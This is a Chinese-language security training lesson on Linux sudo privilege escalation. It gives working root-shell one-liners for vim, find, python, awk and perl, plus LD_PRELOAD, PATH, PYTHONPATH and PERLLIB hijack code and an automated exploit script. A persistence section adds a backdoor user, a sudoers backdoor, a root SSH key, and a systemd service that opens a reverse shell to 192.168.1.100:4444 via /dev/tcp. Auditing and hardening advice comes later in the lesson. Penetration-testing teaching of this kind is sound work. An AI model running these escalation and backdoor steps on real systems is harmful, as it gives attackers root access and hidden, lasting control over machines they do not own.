提权专题
3、SUDO提权
一、课程目标
本节课主要学习Linux系统中利用sudo配置不当进行提权的技术和方法。sudo提权是Linux系统中最常见且最容易被利用的提权方式之一。通过本课的学习,你将能够:
- 理解sudo的工作原理和安全机制
- 掌握查找和利用sudo配置漏洞进行提权的方法
- 学会使用常见的sudo提权工具和技术
- 了解sudo提权的防护措施和最佳实践
- 熟悉GTFOBins等sudo利用资源
二、名词解释表
| 名词 | 解释 |
|---|---|
| sudo | Super User Do,以超级用户身份执行命令 |
| sudoers | sudo配置文件,定义用户权限规则 |
| NOPASSWD | 无需密码即可执行sudo命令 |
| ALL | 所有命令或所有用户 |
| Runas | 指定运行命令的用户 |
| Privilege Escalation | 权限提升,从低权限用户提升到高权限用户 |
| GTFOBins | Get The F*** Out_bins,sudo二进制文件利用数据库 |
三、技术原理
3.1 sudo概述
sudo是一个程序,允许用户以其他用户(通常是root)的身份运行命令。它是Linux系统中权限管理的重要工具。
3.1.1、sudo工作原理
- 用户执行sudo命令
- sudo检查/etc/sudoers配置文件
- 验证用户是否有执行该命令的权限
- 如果有权限且认证通过,以目标用户身份执行命令
- 记录操作日志
3.1.2、sudo配置文件
# /etc/sudoers文件结构
user/host = command
username ALL=(ALL:ALL) ALL
%groupname ALL=(ALL:ALL) ALL
3.2 sudo安全机制
3.2.1、认证机制
- 密码认证:需要输入用户密码
- 时间窗口:默认5分钟内无需重复输入密码
- 会话管理:基于TTY的会话跟踪
3.2.2、权限控制
- 细粒度控制:可以限制特定命令
- 用户组支持:支持基于组的权限管理
- 主机限制:可以限制特定主机
3.3 提权原理
3.3.1、利用条件
- 目标系统存在配置不当的sudo规则
- 当前用户在sudoers文件中有相关权限
- sudo规则允许执行可利用的命令
3.3.2、提权过程
- 检查当前用户的sudo权限
- 分析可执行的命令和参数
- 利用命令获得高权限shell
- 验证权限提升结果
四、sudo权限检查
4.1 基础检查命令
4.1.1、查看当前用户sudo权限
# 查看当前用户可以执行的sudo命令
sudo -l
# 详细显示权限信息
sudo -l -v
# 以其他用户身份查看sudo权限
sudo -U username -l
4.1.2、查看sudo配置
# 查看sudoers文件(需要root权限)
cat /etc/sudoers
# 使用visudo安全编辑sudoers文件
sudo visudo
# 查看sudoers.d目录中的配置
ls -la /etc/sudoers.d/
cat /etc/sudoers.d/*
4.2 高级检查技巧
4.2.1、检查NOPASSWD配置
# 查找NOPASSWD规则
sudo -l 2>/dev/null | grep NOPASSWD
# 或者检查sudoers文件
grep -r "NOPASSWD" /etc/sudoers*
# 查找所有不需要密码的sudo规则
cat /etc/sudoers | grep -v "^#" | grep -v "^$" | grep NOPASSWD
4.2.2、检查ALL权限
# 查找具有ALL权限的用户
grep -r "(ALL" /etc/sudoers*
# 查找可以以root身份执行所有命令的规则
sudo -l | grep "(root)" | grep "ALL"
4.3 自定义检查脚本
#!/bin/bash
# sudo_checker.sh - sudo权限检查脚本
echo "=== sudo权限检查工具 ==="
echo "检查时间: $(date)"
echo ""
# 检查当前用户sudo权限
echo "1. 当前用户sudo权限:"
if command -v sudo &> /dev/null; then
sudo -l 2>/dev/null
else
echo "sudo命令未安装"
fi
echo ""
# 检查NOPASSWD规则
echo "2. NOPASSWD规则检查:"
if [ -r /etc/sudoers ]; then
grep -v "^#" /etc/sudoers | grep -v "^$" | grep -i NOPASSWD
# 检查sudoers.d目录
if [ -d /etc/sudoers.d ]; then
for file in /etc/sudoers.d/*; do
if [ -r "$file" ]; then
echo "文件: $file"
grep -v "^#" "$file" | grep -v "^$" | grep -i NOPASSWD
fi
done
fi
else
echo "无法读取/etc/sudoers文件"
fi
echo ""
# 检查危险命令权限
echo "3. 危险命令权限检查:"
DANGEROUS_COMMANDS=("vim" "nano" "find" "bash" "sh" "python" "perl" "awk" "nmap" "zip" "tar")
for cmd in "${DANGEROUS_COMMANDS[@]}"; do
if command -v $cmd &> /dev/null; then
sudo -l 2>/dev/null | grep -w $cmd > /dev/null
if [ $? -eq 0 ]; then
echo " [警告] 可以使用sudo执行: $cmd"
fi
fi
done
五、常见sudo提权方法
5.1 NOPASSWD提权
5.1.1、漏洞原理
当sudo配置为NOPASSWD时,用户可以无需密码直接执行sudo命令。
5.1.2、利用方法
# 检查NOPASSWD权限
sudo -l
# 如果发现NOPASSWD ALL权限
# 直接获得root shell
sudo su -
sudo bash
sudo sh
5.1.3、示例配置
# /etc/sudoers中的危险配置
username ALL=(ALL:ALL) NOPASSWD: ALL
%users ALL=(ALL:ALL) NOPASSWD: ALL
5.2 特定命令提权
5.2.1、vim提权
# 如果可以sudo vim
sudo vim
# 在vim中执行shell
:!sh
:shell
5.2.2、find提权
# 如果可以sudo find
sudo find . -exec /bin/sh \; -quit
# 或者
sudo find . -exec /bin/bash -p \; -quit
5.2.3、python提权
# 如果可以sudo python
sudo python -c "import os; os.system('/bin/bash')"
# 或者
sudo python -c "import pty; pty.spawn('/bin/bash')"
5.2.4、awk提权
# 如果可以sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
# 或者
echo | sudo awk '{print system("/bin/bash")}'
5.3 环境变量提权
5.3.1、LD_PRELOAD利用
# 创建恶意共享库
cat > /tmp/malicious.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
# 编译共享库
gcc -fPIC -shared -o /tmp/malicious.so /tmp/malicious.c -nostartfiles
# 如果sudo命令会加载共享库
sudo LD_PRELOAD=/tmp/malicious.so apache2
5.3.2、PATH劫持
# 创建恶意程序
cat > /tmp/sh << 'EOF'
#!/bin/bash
/bin/bash
EOF
# 添加执行权限
chmod +x /tmp/sh
# 修改PATH并执行sudo命令
sudo PATH=/tmp:$PATH less /etc/profile
# 在less中执行!sh
六、自动化提权工具
6.1 sudo提权脚本
#!/bin/bash
# sudo_exploiter.sh - sudo提权自动化脚本
echo "=== sudo提权检测工具 ==="
# 检查sudo权限
check_sudo_permissions() {
echo "检查sudo权限..."
if sudo -l 2>/dev/null | grep -q "may run the following commands"; then
echo "[+] 用户具有sudo权限"
sudo -l
else
echo "[-] 用户没有sudo权限或需要密码"
return 1
fi
}
# 检查NOPASSWD权限
check_nopasswd() {
echo "检查NOPASSWD权限..."
if sudo -l 2>/dev/null | grep -qi NOPASSWD; then
echo "[+] 发现NOPASSWD权限"
sudo -l 2>/dev/null | grep -i NOPASSWD
return 0
else
echo "[-] 未发现NOPASSWD权限"
return 1
fi
}
# 尝试常见提权方法
try_common_exploits() {
echo "尝试常见sudo提权方法..."
# 检查可以sudo执行的危险命令
DANGEROUS_COMMANDS=("vim" "find" "bash" "sh" "python" "perl" "awk" "nmap")
for cmd in "${DANGEROUS_COMMANDS[@]}"; do
if sudo -l 2>/dev/null | grep -qw $cmd; then
echo "[+] 可以sudo执行: $cmd"
# 根据命令类型尝试提权
case $cmd in
"vim")
echo " 尝试vim提权: sudo vim -c ':shell'"
;;
"find")
echo " 尝试find提权: sudo find . -exec /bin/sh \\; -quit"
;;
"bash"|"sh")
echo " 尝试shell提权: sudo $cmd"
;;
"python")
echo " 尝试python提权: sudo python -c 'import os; os.system(\"/bin/bash\")'"
;;
"perl")
echo " 尝试perl提权: sudo perl -e 'exec \"/bin/bash\";'"
;;
"awk")
echo " 尝试awk提权: sudo awk 'BEGIN {system(\"/bin/bash\")}'"
;;
"nmap")
echo " 尝试nmap提权: sudo nmap --interactive"
;;
esac
fi
done
}
# 主执行流程
main() {
if check_sudo_permissions; then
check_nopasswd
try_common_exploits
else
echo "无法进行sudo提权测试"
fi
}
# 执行主函数
main
6.2 GTFOBins sudo利用
6.2.1、GTFOBins简介
GTFOBins不仅包含SUID利用方法,也包含sudo利用方法。
6.2.2、使用方法
# 查询特定命令的sudo利用方法
# 访问 https://gtfobins.github.io/
# 搜索命令如bash、find、vim等
# 命令行查询示例
curl -s https://gtfobins.github.io/gtfobins/bash/ | grep -A 10 "Sudo"
6.2.3、本地查询脚本
#!/bin/bash
# gtfobins_sudo_checker.sh - 本地GTFOBins sudo查询
check_sudo_exploit() {
local binary=$1
echo "检查 $binary 的sudo利用方法:"
case $binary in
"bash")
echo " sudo bash"
;;
"find")
echo " sudo find . -exec /bin/sh \\; -quit"
;;
"vim")
echo " sudo vim -c ':shell'"
;;
"nmap")
echo " sudo nmap --interactive"
;;
"python")
echo " sudo python -c 'import os; os.system(\"/bin/bash\")'"
;;
"perl")
echo " sudo perl -e 'exec \"/bin/bash\";'"
;;
"awk")
echo " sudo awk 'BEGIN {system(\"/bin/bash\")}'"
;;
*)
echo " 请查询 https://gtfobins.github.io/ 获取利用方法"
;;
esac
echo ""
}
# 检查可以sudo执行的命令
if command -v sudo &> /dev/null; then
echo "=== 可以sudo执行的命令 ==="
sudo -l 2>/dev/null | grep -E "^[[:space:]]*[a-zA-Z/]" | while read line; do
# 提取命令名称
cmd=$(echo $line | awk '{print $NF}' | xargs basename)
if [ ! -z "$cmd" ]; then
check_sudo_exploit $cmd
fi
done
fi
七、手工提权技术
7.1 环境变量利用
7.1.1、PYTHONPATH利用
# 创建恶意Python模块
mkdir -p /tmp/malicious
cat > /tmp/malicious/os.py << 'EOF'
import os
import sys
def system(cmd):
os.system("/bin/bash")
# 重定向标准导入
import builtins
builtins.os = sys.modules[__name__]
EOF
# 如果可以sudo python
sudo PYTHONPATH=/tmp/malicious python -c "import os; os.system('id')"
7.1.2、PERLLIB利用
# 创建恶意Perl模块
mkdir -p /tmp/malicious
cat > /tmp/malicious/strict.pm << 'EOF'
package strict;
sub import {
system("/bin/bash");
}
1;
EOF
# 如果可以sudo perl
sudo PERLLIB=/tmp/malicious perl -e "use strict;"
7.2 文件写入利用
7.2.1、sudoers文件修改
# 如果可以sudo编辑文件
sudo vim /etc/sudoers
# 添加NOPASSWD规则
# username ALL=(ALL:ALL) NOPASSWD: ALL
# 或者创建新规则文件
echo "username ALL=(ALL:ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/backdoor
7.2.2、日志文件利用
# 如果可以sudo写入日志文件
sudo sh -c 'echo "username ALL=(ALL:ALL) NOPASSWD: ALL" >> /var/log/sudo.log'
# 然后尝试移动或链接到sudoers文件
八、权限维持
8.1 sudo后门
8.1.1、创建sudo后门
# 创建后门用户
sudo useradd -m backdoor -s /bin/bash
echo "backdoor:password123" | sudo chpasswd
# 添加sudo权限
echo "backdoor ALL=(ALL:ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/backdoor
# 隐藏后门文件
sudo chmod 640 /etc/sudoers.d/backdoor
sudo chown root:root /etc/sudoers.d/backdoor
8.1.2、时间窗口后门
# 修改sudo时间窗口
# 编辑/etc/sudoers
sudo visudo
# 添加或修改
Defaults timestamp_timeout=60
# 设置60分钟的sudo时间窗口
8.2 系统服务后门
8.2.1、systemd服务后门
# 创建systemd服务文件
cat > /tmp/backdoor.service << 'EOF'
[Unit]
Description=Backdoor Service
After=network.target
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1; sleep 3600; done'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
# 复制到系统目录
sudo cp /tmp/backdoor.service /etc/systemd/system/
sudo systemctl enable backdoor.service
sudo systemctl start backdoor.service
九、防护措施
9.1 sudo配置审计
9.1.1、安全配置检查脚本
#!/bin/bash
# sudo_auditor.sh - sudo配置审计工具
echo "=== sudo配置安全审计 ==="
echo "审计时间: $(date)"
echo ""
# 检查sudoers文件权限
echo "1. sudoers文件权限检查:"
ls -l /etc/sudoers
if [ ! -r /etc/sudoers ]; then
echo "[严重] 无法读取sudoers文件"
fi
# 检查sudoers.d目录
echo "2. sudoers.d目录检查:"
if [ -d /etc/sudoers.d ]; then
ls -la /etc/sudoers.d/
for file in /etc/sudoers.d/*; do
if [ -r "$file" ]; then
echo "文件: $file"
ls -l "$file"
fi
done
fi
echo ""
# 检查危险配置
echo "3. 危险配置检查:"
# 检查NOPASSWD ALL
grep -r "NOPASSWD.*ALL" /etc/sudoers*
if [ $? -eq 0 ]; then
echo "[警告] 发现NOPASSWD ALL配置"
fi
# 检查ALL权限
grep -r ") ALL" /etc/sudoers* | grep -v "root ALL="
if [ $? -eq 0 ]; then
echo "[警告] 发现非root用户的ALL权限"
fi
echo ""
# 检查特定危险命令
echo "4. 危险命令权限检查:"
DANGEROUS_COMMANDS=("vim" "nano" "find" "bash" "sh" "python" "perl" "awk")
for cmd in "${DANGEROUS_COMMANDS[@]}"; do
grep -r "$cmd" /etc/sudoers* > /dev/null
if [ $? -eq 0 ]; then
echo "[注意] 发现$cmd的sudo权限"
fi
done
9.2 系统加固
9.2.1、安全sudo配置
# 推荐的sudoers配置
# /etc/sudoers安全配置示例
# 设置安全选项
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults env_reset
Defaults mail_badpass
Defaults secure_syslog=auth
Defaults logfile=/var/log/sudo.log
Defaults log_host
Defaults log_year
Defaults passwd_tries=3
Defaults timestamp_timeout=5
# 用户组权限
%wheel ALL=(ALL:ALL) ALL
%sudo ALL=(ALL:ALL) ALL
# 限制特定命令
username ALL=(root) /usr/bin/systemctl, /usr/bin/service
9.2.2、日志监控
# 配置sudo日志
# 在/etc/sudoers中添加
Defaults logfile=/var/log/sudo.log
Defaults log_host
Defaults log_year
# 监控sudo日志
tail -f /var/log/sudo.log
# 使用rsyslog集中日志
echo "local2.* /var/log/sudo.log" >> /etc/rsyslog.d/sudo.conf
systemctl restart rsyslog
9.3 最佳实践
9.3.1、权限最小化
# 遵循最小权限原则
# 只授予必需的权限
username ALL=(root) /usr/bin/systemctl restart apache2
username ALL=(root) /usr/bin/service apache2 *
# 避免使用ALL权限
# username ALL=(ALL:ALL) ALL # 危险!
9.3.2、定期审计
# 定期检查sudo配置
# 创建cron任务
echo "0 2 * * * /usr/local/bin/sudo_auditor.sh > /var/log/sudo_audit.log" | crontab -
# 定期轮转sudo日志
# 配置logrotate
cat > /etc/logrotate.d/sudo << 'EOF'
/var/log/sudo.log {
daily
rotate 30
compress
delaycompress
missingok
notifempty
create 640 root root
}
EOF
十、实战案例
10.1 sudo提权完整流程
10.1.1、信息收集阶段
# 1. 检查sudo权限
sudo -l
# 输出示例:
# User username may run the following commands on hostname:
# (ALL) NOPASSWD: ALL
# 2. 分析权限配置
cat /etc/sudoers | grep -v "^#" | grep -v "^$"
# 3. 检查sudoers.d目录
ls -la /etc/sudoers.d/
10.1.2、利用阶段
# 4. 直接获得root权限
sudo su -
# 或者
sudo bash
# 或者
sudo sh
# 5. 验证权限
id
# 输出: uid=0(root) gid=0(root) groups=0(root)
# 6. 维持访问
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
10.2 复杂环境提权
10.2.1、有限权限利用
# 1. 发现有限sudo权限
sudo -l
# 输出示例:
# User username may run the following commands on hostname:
# (root) /usr/bin/vim
# (root) /usr/bin/find
# 2. 选择合适的利用方法
# 使用vim提权
sudo vim
# 在vim中执行
:!sh
# 3. 验证权限
id
whoami
十一、故障排除
11.1 常见问题
11.1.1、sudo权限不足
# 检查sudoers配置
sudo cat /etc/sudoers
# 检查用户组
groups
id
# 检查sudo服务状态
systemctl status sudo
11.1.2、时间窗口问题
# 重置sudo时间窗口
sudo -k
# 强制重新认证
sudo -v
11.2 权限验证
11.2.1、验证提权成功
# 检查当前权限
id
# 应该显示uid=0(root)
# 检查环境变量
env | grep -E "(USER|HOME|SHELL)"
# 测试特权操作
cat /etc/shadow
touch /root/test_file
十二、课后作业
-
基础练习:
- 在实验环境中配置各种sudo规则
- 练习使用不同方法进行sudo提权
- 验证提权结果并清理环境
- 使用GTFOBins查询sudo利用方法
-
进阶练习:
- 编写自定义sudo利用脚本
- 实现sudo配置审计工具
- 配置系统防护措施
- 研究新的sudo利用技术
-
思考题:
- sudo提权相比其他提权方法的优势和劣势是什么?
- 如何在保证便利性的同时提高sudo安全性?
- 现代Linux发行版如何改进sudo的安全机制?
-
扩展阅读:
- 研究sudo源码实现
- 了解sudo安全公告和漏洞修复
- 学习容器环境中的权限管理